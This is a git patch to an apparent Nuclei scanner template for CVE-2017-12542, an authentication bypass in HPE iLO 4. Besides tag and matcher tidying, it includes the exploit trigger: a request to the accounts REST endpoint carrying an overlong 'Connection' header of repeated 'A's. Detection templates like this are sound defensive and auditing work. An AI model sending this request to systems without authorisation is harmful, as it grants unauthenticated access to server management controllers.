From 9ba2ae12013d94cd521010136673d950de00dfcf Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 12 May 2022 16:42:08 +0530 Subject: [PATCH] Update CVE-2017-12542.yaml --- cves/2017/CVE-2017-12542.yaml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/cves/2017/CVE-2017-12542.yaml b/cves/2017/CVE-2017-12542.yaml index 1b9852cdb8..e177b04912 100644 --- a/cves/2017/CVE-2017-12542.yaml +++ b/cves/2017/CVE-2017-12542.yaml @@ -12,26 +12,27 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2017-12542 - tags: cve,cve2017,ilo4,hpe + tags: cve,cve2017,ilo4,hpe,auth-bypass requests: - method: GET path: - "{{BaseURL}}/rest/v1/AccountService/Accounts" + headers: Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA matchers-condition: and matchers: - type: word + part: body words: - "iLO User" - part: body - type: word + part: header words: - "application/json" - part: header - type: status status: